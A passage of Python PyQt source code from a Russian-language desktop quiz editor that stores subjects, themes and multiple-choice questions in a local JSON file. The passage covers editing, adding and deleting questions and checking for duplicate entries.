ultra_dict[button_1.text()]:\n\n btn.setText('')\n dict_for_theme_btn_textofbtn_and_label[btn][1].setText(dict_for_theme_btn_textofbtn_and_label[btn][0])\n \n list_for_changed_btn_for_text_wrap.append(btn) \n \n btn.show()\n \n \n else:\n list_for_check_or_no_btn.append(False)\n if True in list_for_check_or_no_btn:\n btn_add_theme.show()\n else:\n btn_add_theme.hide()\n \n # def final_deleter_subj():\n # for button_1 in list_for_subj_buttons:\n # if button_1.isChecked():\n # var_for_delete = button_1.text()\n # ultra_dict.pop(var_for_delete)\n # with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n # file_1.write(json.dumps(ultra_dict, ensure_ascii = False))\n # creator_subj_buttons()\n # \n # for btn in list_for_theme_buttons:\n # btn.hide()\n # btn_for_delete_subj.hide()\n \n \n \n # btn_for_delete_subj = QtWidgets.QPushButton('Удалить выбранный предмет', window)\n # btn_for_delete_subj.setFixedSize(200, 50)\n # btn_for_delete_subj.move(50,50)\n # btn_for_delete_subj.clicked.connect(final_deleter_subj)\n # btn_for_delete_subj.show()\n \n var_for_hidder_btn = True\n for button_2 in list_for_subj_buttons:\n if button_2.isChecked():\n var_for_hidder_btn = False\n if var_for_hidder_btn:\n btn_for_delete_subj.hide()\n\n\n def creator_subj_buttons(self):\n \n try:\n for btn in list_for_subj_buttons:\n btn.hide()\n btn.destroy()\n except:\n None\n try:\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n except:\n None\n # for btn in list_for_subj_buttons:\n # btn.destroy()\n \n list_for_subj_buttons.clear()\n y_coord_for_btn_subj = 170\n # Создаёт кнопки предметов \n \n for subj in ultra_dict.items():\n \n button_of_subject = QtWidgets.QPushButton(str(subj[0]), self)\n font_obj_for_btn = QtGui.QFont('Segoe UI', pointSize = 15)\n button_of_subject.setFont(font_obj_for_btn)\n button_of_subject.setCheckable(True)\n button_of_subject.clicked.connect(self.click_subj_choose_themes)\n button_of_subject.move(26, y_coord_for_btn_subj)\n button_of_subject.setFixedSize(469, 44)\n #button_of_subject.setFlat(True)\n #button_of_subject.setStyleSheet(\"QPushButton {white-space: pre-line;}\")\n button_of_subject.show()\n list_for_subj_buttons.append(button_of_subject)\n y_coord_for_btn_subj += 50 \n print(10)\n print(list_for_subj_buttons)\n for btn_3 in list_for_subj_buttons:\n print(btn_3.isHidden())\n global list_for_text_of_dict_of_btn\n list_for_text_of_dict_of_btn = []\n #list_for_pressed_btn_for_repaint = []\n def click_theme_start_edit(self):\n print(1212121212) \n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n \n list_for_pressed_btn_for_repaint = []\n \n list_of_all_text_field = []\n list_of_all_radiobtn = []\n list_of_answers_text_field = []\n list_of_text_field_answers = []\n list_of_all_quest_field = []\n global var_for_subj\n global var_for_theme\n var_for_subj = ''\n var_for_theme = ''\n list_for_btn_subj = []\n list_for_btn_theme = []\n list_for_field_of_theme = []\n \n for btn_subj in list_for_subj_buttons:\n if btn_subj.isChecked():\n list_for_btn_subj.append(btn_subj)\n \n modalWindowEdit = QtWidgets.QWidget(self, QtCore.Qt.Window)\n modalWindowEdit.setWindowTitle('Редактирование')\n modalWindowEdit.setFixedSize(1024, 758)\n modalWindowEdit.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowEdit.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowEdit.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowEdit.move(self.geometry().center() - modalWindowEdit.rect().center() - QtCore.QPoint(4, 30))\n \n scrollArea = QtWidgets.QScrollArea()\n widget = QtWidgets.QWidget()\n #widget_for_theme_scroll.move(522, 157)\n #def closeEvent(modalWindowEdit):\n # print(1)\n #modalWindowEdit.closeEvent( )\n # def closeEvent(modalWindowEdit):\n # print(1)\n \n list_for_text_of_dict_of_btn.clear()\n for button in list_for_theme_buttons:\n if button.isChecked():\n list_for_text_of_dict_of_btn.append(dict_for_theme_btn_textofbtn_and_label[button][0])\n\n list_for_btn_theme.append(button.text())\n list_for_pressed_btn_for_repaint.append(button)\n vbox = QtWidgets.QVBoxLayout()\n \n hbox_1 = QtWidgets.QHBoxLayout()\n hbox_2 = QtWidgets.QHBoxLayout()\n \n \n label_subj = QtWidgets.QLabel('Название предмета: ', widget)\n hbox_1.addWidget(label_subj)\n \n field_of_subj = QTextEdit(str(list_for_btn_subj[0].text()), widget)\n field_of_subj.setFixedSize(300, 50)\n text_of_subj_before_edit = field_of_subj.toPlainText().rstrip()\n hbox_1.addWidget(field_of_subj)\n vbox.addLayout(hbox_1)\n \n label_theme = QtWidgets.QLabel('Название темы: ', widget)\n hbox_2.addWidget(label_theme)\n \n field_of_theme = QTextEdit(str(dict_for_theme_btn_textofbtn_and_label[button][0]), widget)\n field_of_theme.setFixedSize(300, 50)\n text_of_theme_before_edit = field_of_theme.toPlainText().rstrip()\n list_for_field_of_theme.append(field_of_theme.toPlainText())\n hbox_2.addWidget(field_of_theme)\n vbox.addLayout(hbox_2)\n \n \n list_of_questions = []\n list_for_answers = []\n list_for_delete_quest_button = []\n # for subject in ultra_dict.keys():\n # try:\n \n for btn_subj in list_for_subj_buttons:\n if btn_subj.isChecked():\n subject = btn_subj.text()\n \n for theme_2 in dict_for_theme_btn_textofbtn_and_label:\n # print(dict_for_theme_btn_textofbtn_and_label[theme_2][0])\n if dict_for_theme_btn_textofbtn_and_label[button][0] == dict_for_theme_btn_textofbtn_and_label[theme_2][0]:\n #print(dict_for_theme_btn_textofbtn_and_label)\n var_for_subj = subject\n var_for_theme = dict_for_theme_btn_textofbtn_and_label[theme_2][0]\n\n dict_of_questions = ultra_dict[subject][dict_for_theme_btn_textofbtn_and_label[theme_2][0]]\n \n for quests in dict_of_questions.keys():\n list_of_questions.append(quests)\n local_answ_list = []\n for answer in dict_of_questions[quests]:\n #if answer[-1] == ' ':\n # answer = answer[0:-1]\n local_answ_list.append(answer)\n list_for_answers.append(local_answ_list)\n\n # break\n \n #except:\n # None\n def func_for_delete_quest():\n modalWindowChoose = QtWidgets.QWidget(modalWindowEdit, QtCore.Qt.Window)\n modalWindowChoose.setWindowTitle('Удаление вопроса')\n modalWindowChoose.setFixedSize(300, 250)\n modalWindowChoose.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowChoose.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowChoose.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowChoose.move(modalWindowEdit.geometry().center() - modalWindowChoose.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Вы уверены, что хотите удалить вопрос?', modalWindowChoose)\n label_of_error.move(40, 100)\n \n for button in list_for_delete_quest_button:\n if button.isChecked():\n index_of_delete_btn = list_for_delete_quest_button.index(button)\n \n for button in list_for_delete_quest_button:\n button.setChecked(False)\n \n def final_delete_quest():\n # for button in list_for_delete_quest_button:\n # if button.isChecked():\n # index_of_delete_btn = list_for_delete_quest_button.index(button)\n list_of_questions = list(ultra_dict[var_for_subj][var_for_theme].keys())\n elem_for_delete = list_of_questions[index_of_delete_btn]\n \n ultra_dict[var_for_subj][var_for_theme].pop(elem_for_delete)\n with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n file_1.write(json.dumps(ultra_dict, ensure_ascii = False))\n modalWindowEdit.close()\n modalWindowChoose.close()\n for theme_button in list_for_theme_buttons:\n \n if theme_button == list_for_pressed_btn_for_repaint[0]:\n \n theme_button.click()\n # for button in list_for_delete_quest_button:\n # button.setChecked(False)\n \n # list_for_pressed_btn_for_repaint\n #click_theme_start_edit()\n \n def cancel_from_delete_window():\n # for button in list_for_delete_quest_button:\n # button.setChecked(False)\n modalWindowChoose.close()\n \n btn_no = QtWidgets.QPushButton('нет', modalWindowChoose)\n btn_no.move(20, 200)\n btn_no.clicked.connect(cancel_from_delete_window)\n \n \n btn_yes = QtWidgets.QPushButton('да', modalWindowChoose)\n btn_yes.move(140, 200)\n btn_yes.clicked.connect(final_delete_quest)\n \n #for button in list_for_delete_quest_button:\n # button.setChecked(False)\n \n modalWindowChoose.show()\n \n for num in range(1,len(list_of_questions)+1):\n \n\n \n hbox_for_cycle_1 = QtWidgets.QHBoxLayout()\n hbox_for_cycle_2 = QtWidgets.QHBoxLayout()\n hbox_for_cycle_3 = QtWidgets.QHBoxLayout()\n \n hbox_for_answers_1 = QtWidgets.QHBoxLayout()\n hbox_for_answers_2 = QtWidgets.QHBoxLayout()\n hbox_for_answers_3 = QtWidgets.QHBoxLayout()\n hbox_for_answers_4 = QtWidgets.QHBoxLayout()\n \n vbox_for_cycle_1 = QtWidgets.QVBoxLayout()\n \n groupBox = QtWidgets.QGroupBox(widget)\n groupBox.setFixedSize(350, 300)\n groupLayout = QtWidgets.QWidget(groupBox)\n groupVerticalLayout = QtWidgets.QVBoxLayout(groupLayout)\n \n quest_text = 'Вопрос № ' + str(num)\n label_of_quest = QtWidgets.QLabel(quest_text, widget)\n field_of_quest = QTextEdit(str(list_of_questions[num - 1]), widget)\n field_of_quest.setFixedSize(300,50)\n ##### Изменить в будущем, добавить туплейнтекст\n list_of_all_quest_field.append(field_of_quest)\n \n delete_quest_button = QtWidgets.QPushButton('Удалить вопрос', modalWindowEdit)\n delete_quest_button.clicked.connect(func_for_delete_quest)\n delete_quest_button.setFixedSize(150, 50)\n delete_quest_button.setCheckable(True)\n delete_quest_button.show()\n list_for_delete_quest_button.append(delete_quest_button)\n \n \n # button_of_subject.setCheckable(True)\n # button_of_subject.clicked.connect(click_subj_choose_themes)\n # button_of_subject.move(130, x_coord_for_btn_subj)\n # button_of_subject.setFixedSize(300, 50)\n # button_of_subject.setStyleSheet(\"QPushButton {white-space: pre-line;}\")\n # button_of_subject.show()\n # list_for_subj_buttons.append(button_of_subject)\n \n hbox_for_cycle_1.addWidget(label_of_quest)\n hbox_for_cycle_1.addWidget(field_of_quest)\n hbox_for_cycle_1.addWidget(delete_quest_button)\n vbox.addLayout(hbox_for_cycle_1)\n \n label_of_answ_variants = QtWidgets.QLabel('Варианты ответа: ', widget)\n \n hbox_for_cycle_2.addWidget(label_of_answ_variants)\n \n vbox.addLayout(hbox_for_cycle_2)\n \n radio_1 = QtWidgets.QRadioButton(widget)\n radio_2 = QtWidgets.QRadioButton(widget)\n radio_3 = QtWidgets.QRadioButton(widget)\n radio_4 = QtWidgets.QRadioButton(widget)\n \n list_of_all_radiobtn.append(radio_1)\n list_of_all_radiobtn.append(radio_2)\n list_of_all_radiobtn.append(radio_3)\n list_of_all_radiobtn.append(radio_4)\n # на самом деле поля ответов \n \n \n field_of_answer_1 = QTextEdit(list_for_answers[num - 1][0], widget)\n field_of_answer_1.setFixedSize(300,50)\n field_of_answer_2 = QTextEdit(list_for_answers[num - 1][1], widget)\n field_of_answer_2.setFixedSize(300,50)\n field_of_answer_3 = QTextEdit(list_for_answers[num - 1][2], widget)\n field_of_answer_3.setFixedSize(300,50)\n field_of_answer_4 = QTextEdit(list_for_answers[num - 1][3], widget)\n field_of_answer_4.setFixedSize(300,50)\n \n\n list_of_answers_text_field.append(field_of_answer_1.toPlainText())\n list_of_answers_text_field.append(field_of_answer_2.toPlainText())\n list_of_answers_text_field.append(field_of_answer_3.toPlainText())\n list_of_answers_text_field.append(field_of_answer_4.toPlainText())\n \n list_of_text_field_answers.append(field_of_answer_1)\n list_of_text_field_answers.append(field_of_answer_2)\n list_of_text_field_answers.append(field_of_answer_3)\n list_of_text_field_answers.append(field_of_answer_4)\n \n for answ_for_check in list_of_answers_text_field:\n # Удаляет пробел в конце правильного ответа\n if answ_for_check[-1] == ' ':\n index_of_right_answ = list_of_answers_text_field.index(answ_for_check)\n list_of_all_radiobtn[index_of_right_answ].setChecked(True)\n text_of_field = list_of_text_field_answers[index_of_right_answ].toPlainText()\n list_of_text_field_answers[index_of_right_answ].setText(text_of_field.rstrip())\n hbox_for_answers_1.addWidget(radio_1)\n hbox_for_answers_1.addWidget(field_of_answer_1)\n groupVerticalLayout.addLayout(hbox_for_answers_1)\n \n hbox_for_answers_2.addWidget(radio_2)\n hbox_for_answers_2.addWidget(field_of_answer_2)\n groupVerticalLayout.addLayout(hbox_for_answers_2)\n \n hbox_for_answers_3.addWidget(radio_3)\n hbox_for_answers_3.addWidget(field_of_answer_3)\n groupVerticalLayout.addLayout(hbox_for_answers_3)\n \n hbox_for_answers_4.addWidget(radio_4)\n hbox_for_answers_4.addWidget(field_of_answer_4)\n groupVerticalLayout.addLayout(hbox_for_answers_4)\n \n #ЕСЛИ НАДО ДОБАВИТЬ ПРОБЕЛЫ МЕЖДУ БАТОНАМИ\n hbox_for_cycle_3.addWidget(groupBox)\n vbox.addLayout(hbox_for_cycle_3)\n \n widget.setLayout(vbox)\n scrollArea.setWidget(widget)\n scrollArea.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)\n mainbox = QtWidgets.QVBoxLayout()\n mainbox.addWidget(scrollArea)\n mainbox.addSpacing(50)\n modalWindowEdit.setLayout(mainbox)\n \n def creator_mod_win_adder_quest():\n \n modalWindowAddQuest = QtWidgets.QWidget(modalWindowEdit, QtCore.Qt.Window)\n modalWindowAddQuest.setWindowTitle('Добавление вопроса')\n modalWindowAddQuest.setFixedSize(512, 450)\n modalWindowAddQuest.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowAddQuest.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowAddQuest.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowAddQuest.move(modalWindowEdit.geometry().center() - modalWindowAddQuest.rect().center() - QtCore.QPoint(4, 30))\n \n \n \n widget_create = QtWidgets.QWidget()\n \n vbox_create = QtWidgets.QVBoxLayout()\n \n hbox_create_1 = QtWidgets.QHBoxLayout()\n hbox_create_2 = QtWidgets.QHBoxLayout()\n \n hbox_for_create_1 = QtWidgets.QHBoxLayout()\n hbox_for_create_2 = QtWidgets.QHBoxLayout()\n hbox_for_create_3 = QtWidgets.QHBoxLayout()\n hbox_for_create_4 = QtWidgets.QHBoxLayout()\n \n hbox_for_create_answ_1 = QtWidgets.QHBoxLayout()\n hbox_for_create_answ_2 = QtWidgets.QHBoxLayout()\n hbox_for_create_answ_3 = QtWidgets.QHBoxLayout()\n hbox_for_create_answ_4 = QtWidgets.QHBoxLayout()\n \n vbox_for_create_1 = QtWidgets.QVBoxLayout()\n \n groupBox_for_create = QtWidgets.QGroupBox(widget_create)\n groupBox_for_create.setFixedSize(350, 300)\n groupLayout_create = QtWidgets.QWidget(groupBox_for_create)\n groupVerticalLayout_create = QtWidgets.QVBoxLayout(groupLayout_create)\n \n label_of_create_quest = QtWidgets.QLabel('Новый вопрос: ', widget_create)\n field_of_create_quest = QtWidgets.QTextEdit(widget_create)\n field_of_create_quest.setFixedSize(300, 50)\n \n hbox_for_create_1.addWidget(label_of_create_quest)\n hbox_for_create_1.addWidget(field_of_create_quest)\n vbox_create.addLayout(hbox_for_create_1)\n \n label_of_answ_choices_for_create = QtWidgets.QLabel('Варианты ответа: ', widget_create)\n hbox_for_create_2.addWidget(label_of_answ_choices_for_create)\n vbox_create.addLayout(hbox_for_create_2)\n \n radio_create_1 = QtWidgets.QRadioButton(widget_create)\n radio_create_2 = QtWidgets.QRadioButton(widget_create)\n radio_create_3 = QtWidgets.QRadioButton(widget_create)\n radio_create_4 = QtWidgets.QRadioButton(widget_create)\n \n field_of_quest_create_1 = QtWidgets.QTextEdit(widget_create)\n field_of_quest_create_1.setFixedSize(300, 50)\n field_of_quest_create_2 = QtWidgets.QTextEdit(widget_create)\n field_of_quest_create_2.setFixedSize(300, 50)\n field_of_quest_create_3 = QtWidgets.QTextEdit(widget_create)\n field_of_quest_create_3.setFixedSize(300, 50)\n field_of_quest_create_4 = QtWidgets.QTextEdit(widget_create)\n field_of_quest_create_4.setFixedSize(300, 50)\n \n hbox_for_create_answ_1.addWidget(radio_create_1)\n hbox_for_create_answ_1.addWidget(field_of_quest_create_1)\n groupVerticalLayout_create.addLayout(hbox_for_create_answ_1)\n \n hbox_for_create_answ_2.addWidget(radio_create_2)\n hbox_for_create_answ_2.addWidget(field_of_quest_create_2)\n groupVerticalLayout_create.addLayout(hbox_for_create_answ_2)\n \n hbox_for_create_answ_3.addWidget(radio_create_3)\n hbox_for_create_answ_3.addWidget(field_of_quest_create_3)\n groupVerticalLayout_create.addLayout(hbox_for_create_answ_3)\n \n hbox_for_create_answ_4.addWidget(radio_create_4)\n hbox_for_create_answ_4.addWidget(field_of_quest_create_4)\n groupVerticalLayout_create.addLayout(hbox_for_create_answ_4)\n \n hbox_for_create_3.addWidget(groupBox_for_create)\n vbox_create.addLayout(hbox_for_create_3)\n \n widget_create.setLayout(vbox_create)\n mainbox_create = QtWidgets.QVBoxLayout()\n mainbox_create.addWidget(widget_create)\n mainbox_create.addSpacing(100)\n modalWindowAddQuest.setLayout(mainbox_create)\n \n \n \n def final_save_new_quest():\n \n list_of_all_text_field = []\n list_of_all_radiobtn = []\n list_of_questions_test_field = []\n \n copy_of_ultra_dict = copy.deepcopy(ultra_dict)\n \n list_of_all_text_field.append(field_of_create_quest)\n list_of_all_text_field.append(field_of_quest_create_1)\n list_of_all_text_field.append(field_of_quest_create_2)\n list_of_all_text_field.append(field_of_quest_create_3)\n list_of_all_text_field.append(field_of_quest_create_4)\n \n list_of_questions_test_field.append(field_of_quest_create_1.toPlainText().strip())\n list_of_questions_test_field.append(field_of_quest_create_2.toPlainText().strip())\n list_of_questions_test_field.append(field_of_quest_create_3.toPlainText().strip())\n list_of_questions_test_field.append(field_of_quest_create_4.toPlainText().strip())\n \n list_of_all_radiobtn.append(radio_create_1)\n list_of_all_radiobtn.append(radio_create_2)\n list_of_all_radiobtn.append(radio_create_3)\n list_of_all_radiobtn.append(radio_create_4)\n \n var_for_pass_1 = True\n var_for_pass_2 = True\n var_for_pass_3 = True\n var_for_pass_4 = True \n var_for_pass_5 = True\n \n modalWindowError = QtWidgets.QWidget(modalWindowAddQuest, QtCore.Qt.Window)\n modalWindowErrorChoose = QtWidgets.QWidget(modalWindowAddQuest, QtCore.Qt.Window)\n for one in list_of_all_text_field:\n \n if bool(one.toPlainText().strip()) != True:\n #modalWindowError = QtWidgets.QWidget(modalWindowAddQuest, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(300, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowAddQuest.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Заполните все ячейки', modalWindowError)\n label_of_error.move(80, 100)\n \n \n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n var_for_pass_1 = False\n break\n var_for_pass_1 = True\n \n list_for_radio_btn_check_or_no = [] \n for two in list_of_all_radiobtn:\n if two.isChecked() == False:\n list_for_radio_btn_check_or_no.append(False)\n elif two.isChecked():\n list_for_radio_btn_check_or_no.append(True)\n if True not in list_for_radio_btn_check_or_no and modalWindowError.isHidden() == True:\n \n #modalWindowErrorChoose = QtWidgets.QWidget(modalWindowAddQuest, QtCore.Qt.Window)\n modalWindowErrorChoose.setWindowTitle('Ошибка')\n modalWindowErrorChoose.setFixedSize(300, 250)\n modalWindowErrorChoose.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowErrorChoose.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowErrorChoose.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowErrorChoose.move(modalWindowAddQuest.geometry().center() - modalWindowErrorChoose.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error_choose = QtWidgets.QLabel('Выберите правильный ответ', modalWindowErrorChoose)\n label_of_error_choose.move(80, 100)\n \n btn_ok_choose = QtWidgets.QPushButton('Ок', modalWindowErrorChoose)\n btn_ok_choose.move(80, 200)\n btn_ok_choose.clicked.connect(modalWindowErrorChoose.close)\n var_for_pass_2 = False\n modalWindowErrorChoose.show()\n #break\n if field_of_create_quest.toPlainText().strip() in ultra_dict[var_for_subj][var_for_theme].keys() and modalWindowError.isHidden() == True and modalWindowErrorChoose.isHidden() == True :\n modalWindowErrorChoose = QtWidgets.QWidget(modalWindowAddQuest, QtCore.Qt.Window)\n modalWindowErrorChoose.setWindowTitle('Ошибка')\n modalWindowErrorChoose.setFixedSize(300, 250)\n modalWindowErrorChoose.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowErrorChoose.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowErrorChoose.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowErrorChoose.move(modalWindowAddQuest.geometry().center() - modalWindowErrorChoose.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error_choose = QtWidgets.QLabel('Такой вопрос уже существует.', modalWindowErrorChoose)\n label_of_error_choose.move(80, 100)\n \n btn_ok_choose = QtWidgets.QPushButton('Ок', modalWindowErrorChoose)\n btn_ok_choose.move(80, 200)\n btn_ok_choose.clicked.connect(modalWindowErrorChoose.close)\n var_for_pass_3 = False\n modalWindowErrorChoose.show()\n \n setArr = set(list_of_questions_test_field)\n \n if len(list_of_questions_test_field) != len(setArr) and modalWindowError.isHidden() == True and modalWindowErrorChoose.isHidden() == True :\n \n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(300, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowAddQuest.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Невозможно сохранить одинаковые ответы.', modalWindowError)\n label_of_error.move(20, 100)\n \n \n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n var_for_pass_4 = False\n \n for subj in ultra_dict:\n for theme in ultra_dict[subj]:\n for quest in ultra_dict[subj][theme]:\n if field_of_create_quest.toPlainText() == quest and modalWindowError.isHidden() == True and modalWindowErrorChoose.isHidden() == True:\n var_for_pass_5 = False\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(300, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowAddQuest.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Невозможно сохранить вопрос,\\n так как такой же вопрос есть в другом тесте.', modalWindowError)\n label_of_error.move(20, 100)\n \n \n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n \n if var_for_pass_1 and var_for_pass_2 and var_for_pass_3 and var_for_pass_4 and var_for_pass_5: \n \n var_for_index = 0\n for index_checked_btn in list_of_all_radiobtn:\n if index_checked_btn.isChecked():\n var_for_index = list_of_all_radiobtn.index(index_checked_btn) \n new_list_of_clear_elems = []\n for elem in list_of_questions_test_field:\n elem_for_new_list = elem.strip()\n new_list_of_clear_elems.append(elem_for_new_list)\n list_of_questions_test_field = new_list_of_clear_elems\n list_of_questions_test_field[var_for_index] += ' '\n \n create_quest_answ_dict = {field_of_create_quest.toPlainText() : list_of_answers_text_field}\n \n\n ultra_dict[var_for_subj][var_for_theme][field_of_create_quest.toPlainText()] = list_of_questions_test_field\n \n with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n file_1.write(json.dumps(ultra_dict, ensure_ascii = False))\n modalWindowAddQuest.close()\n modalWindowEdit.close()\n list_for_pressed_btn_for_repaint[0].setChecked(True)\n self.click_theme_start_edit()\n #break\n \n save_new_quest = QtWidgets.QPushButton('Сохранить вопрос', modalWindowAddQuest)\n save_new_quest.clicked.connect(final_save_new_quest)\n save_new_quest.resize(150, 50)\n save_new_quest.move(270, 360)\n \n cancel_create_quest = QtWidgets.QPushButton('Отмена', modalWindowAddQuest)\n cancel_create_quest.clicked.connect(modalWindowAddQuest.close)\n cancel_create_quest.resize(150, 50)\n cancel_create_quest.move(80, 360)\n \n \n modalWindowAddQuest.show()\n \n def saver_all_mod_win():\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n \n list_for_new_clear_list = []\n list_for_quest_to_delete = []\n list_for_true_fields = []\n \n copy_of_ultra_dict = copy.deepcopy(ultra_dict)\n # проверка заполненности всех полей\n for elem in list_of_text_field_answers:\n \n if bool(elem.toPlainText().strip()) == False:\n \n list_for_true_fields.append(False)\n modalWindowError = QtWidgets.QWidget(modalWindowEdit, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(300, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowEdit.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Заполните все поля ответов ', modalWindowError)\n label_of_error.move(80, 100)\n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n break\n elif bool(elem.toPlainText().strip()) == True:\n list_for_true_fields.append(True)\n \n for subj in ultra_dict:\n list_of_subj = [subj for subj in ultra_dict]\n list_of_subj_2 = [subj for subj in ultra_dict]\n list_of_subj_2.remove(text_of_subj_before_edit)\n list_of_subj_2.append(field_of_subj.toPlainText().rstrip())\n set_1 = set(list_of_subj_2)\n if len(list_of_subj) != len(set_1):\n list_for_true_fields.append(False)\n modalWindowError = QtWidgets.QWidget(modalWindowEdit, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(300, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowEdit.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Невозможно сохранить вопрос,\\n так как такой предмет уже существует.', modalWindowError)\n label_of_error.move(20, 100)\n\n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n break\n list_of_theme_1 = []\n list_of_theme_2 = []\n for theme in ultra_dict[subj]:\n for subj in list_of_subj:\n for theme in ultra_dict[subj]:\n list_of_theme_1.append(theme)\n list_of_theme_2.append(theme)\n #list_of_theme = [theme for theme in [subj for subj in ultra_dict]]\n #print(list_of_theme_1)\n #print(1)\n list_of_theme_2.remove(text_of_theme_before_edit)\n list_of_theme_2.append(field_of_theme.toPlainText().rstrip())\n #if len(list_of_theme_1) != len(set(list_of_theme_2)):\n # print('Такая тема уже есть')\n #list_of_theme_2 = [theme for theme in ultra_dict[subj]]\n #list_of_theme_2.remove(text_of_theme_before_edit)\n #list_of_theme_2.append(field_of_theme.toPlainText().rstrip())\n #set_2 = set(list_of_theme_2)\n if len(list_of_theme_1) != len(set(list_of_theme_2)):\n \n #field_of_theme.toPlainText().rstrip() == theme and theme not in ultra_dict[subj]:\n #len(list_of_theme) != len(set_2):\n #field_of_theme.toPlainText().rstrip() == theme and theme not in ultra_dict[subj]:\n list_for_true_fields.append(False)\n modalWindowError = QtWidgets.QWidget(modalWindowEdit, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(300, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowEdit.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Невозможно сохранить вопрос,\\n так как такая же тема есть в другом тесте.', modalWindowError)\n label_of_error.move(20, 100)\n\n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n break\n \n for new_quest in list_of_all_quest_field:\n try:\n for quest in ultra_dict[subj][theme]:\n if new_quest.toPlainText().rstrip() == quest.rstrip() and theme.rstrip() != var_for_theme.rstrip():\n list_for_true_fields.append(False)\n modalWindowError = QtWidgets.QWidget(modalWindowEdit, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(300, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowEdit.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Невозможно сохранить вопрос,\\n так как такой же вопрос есть в другом тесте.', modalWindowError)\n 